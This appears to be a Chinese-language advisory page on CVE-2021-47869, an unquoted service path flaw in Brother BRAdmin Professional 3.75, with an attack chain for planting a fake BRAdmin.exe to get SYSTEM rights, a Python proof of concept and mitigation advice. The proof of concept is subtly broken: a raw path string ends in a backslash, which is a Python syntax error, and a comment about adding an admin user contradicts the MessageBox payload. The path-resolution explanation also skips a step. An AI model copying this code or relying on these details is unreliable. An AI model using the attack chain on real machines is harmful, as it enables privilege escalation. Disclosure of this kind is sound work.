IPBUF安全漏洞报告
English
CVE-2021-47869 CVSS 7.8 高危

CVE-2021-47869 Brother BRAdmin Professional 3.75 未引号服务路径权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47869
漏洞类型
未引号服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Brother BRAdmin Professional 3.75

相关标签

未引号服务路径权限提升本地攻击Windows服务BrotherBRAdminBRA_SchedulerCVE-2021-47869高危漏洞

漏洞概述

CVE-2021-47869是Brother公司出品的BRAdmin Professional 3.75软件中存在的一个高危安全漏洞。该漏洞位于BRA_Scheduler服务中,由于服务可执行文件路径未使用引号包裹,导致Windows操作系统在解析服务路径时存在路径解析歧义问题。攻击者可以利用这一漏洞,在特定目录下植入恶意可执行文件,当BRA_Scheduler服务重启或系统启动时,服务会错误地加载并执行攻击者植入的恶意程序,从而实现本地权限提升,最终获得系统级(SYSTEM)特权。该漏洞需要攻击者具备本地低权限用户身份即可实施攻击,无需用户交互,CVSS评分达到7.8分,属于高危漏洞。攻击成功后,攻击者可以在受害者系统上执行任意代码,安装恶意软件,窃取敏感数据,或完全控制受影响的系统。

技术细节

未引号服务路径漏洞(Unquoted Service Path Vulnerability)是Windows系统中常见的一类安全漏洞。当一个Windows服务的可执行文件路径没有使用双引号包裹时,操作系统在查找和加载可执行文件时会从路径的第一个空格处进行截断,然后依次尝试在不同位置查找可执行文件。在CVE-2021-47869漏洞中,BRA_Scheduler服务的可执行文件路径可能类似于:C:\Program Files (x86)\Brother\BRAdmin Professional 3\BRA_Scheduler.exe。由于该路径未加引号,Windows会首先尝试在C:\Program.exe执行,如果不存在,则继续尝试C:\Program Files (x86)\Brother\BRAdmin.exe执行。攻击者只需要将自己的恶意可执行文件命名为BRAdmin.exe并放置在C:\Program Files (x86)\Brother\目录下,即可被服务错误加载执行。由于BRA_Scheduler服务通常以SYSTEM权限运行,恶意程序也将继承SYSTEM权限,从而实现权限提升。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地低权限用户访问权限
STEP 2
步骤2
攻击者识别BRA_Scheduler服务及其未加引号的可执行文件路径
STEP 3
步骤3
攻击者检查C:\Program Files (x86)\Brother\目录是否具有写权限
STEP 4
步骤4
攻击者将恶意可执行文件命名为BRAdmin.exe并放置在C:\Program Files (x86)\Brother\目录下
STEP 5
步骤5
等待BRA_Scheduler服务重启或系统重启
STEP 6
步骤6
Windows在查找服务可执行文件时,由于路径未加引号,会在空格处截断并尝试执行BRAdmin.exe
STEP 7
步骤7
恶意程序以SYSTEM权限被执行,攻击者获得系统级完全控制权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2021-47869 PoC - Brother BRAdmin Professional 3.75 Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in BRAdmin Professional 3.75 """ import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target system is vulnerable""" service_path = r'C:\Program Files (x86)\Brother\BRAdmin Professional 3\BRA_Scheduler.exe' # Check if service exists try: result = subprocess.run( ['sc', 'query', 'BRA_Scheduler'], capture_output=True, text=True ) if 'SERVICE_NAME' in result.stdout: print('[+] BRA_Scheduler service found') return True except Exception as e: print(f'[-] Error checking service: {e}') return False def create_malicious_executable(): """Create a malicious executable to be placed in the vulnerable path""" # This is a placeholder - in a real attack, this would be actual malicious code # For demonstration purposes, this creates a simple executable that adds a new admin user malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // In real attack: execute malicious payload here // This would typically spawn a shell with SYSTEM privileges MessageBox(NULL, "BRAdmin Service Executed", "PoC", MB_OK); return 0; } ''' print('[+] Malicious executable code generated') return malicious_code def exploit(): """Exploit the unquoted service path vulnerability""" target_dir = r'C:\Program Files (x86)\Brother\' malicious_exe = os.path.join(target_dir, 'BRAdmin.exe') print('[*] Starting CVE-2021-47869 exploitation...') if not check_vulnerability(): print('[-] BRA_Scheduler service not found or not vulnerable') return False # Check if target directory is writable try: if not os.access(target_dir, os.W_OK): print('[-] No write permission to target directory') print('[*] Please run as administrator or with appropriate privileges') return False except Exception as e: print(f'[-] Error checking permissions: {e}') return False # Create malicious executable create_malicious_executable() # Note: In a real attack, you would compile and place the actual malicious executable print(f'[*] Malicious executable should be placed at: {malicious_exe}') print('[*] When BRA_Scheduler service restarts, it will execute this file with SYSTEM privileges') return True if __name__ == '__main__': exploit()

影响范围

Brother BRAdmin Professional 3.75

防御指南

临时缓解措施
立即检查C:\Program Files (x86)\Brother\目录下是否存在可疑的BRAdmin.exe文件,如发现应立即删除。同时,为该目录设置严格的访问权限,仅允许管理员和SYSTEM账户具有写入权限。建议使用Sysinternals工具(如Autoruns或AccessChk)检查BRA_Scheduler服务的配置,并考虑暂时禁用该服务直至漏洞得到修复。此外,部署应用程序白名单策略,防止未经授权的可执行文件在系统目录中执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表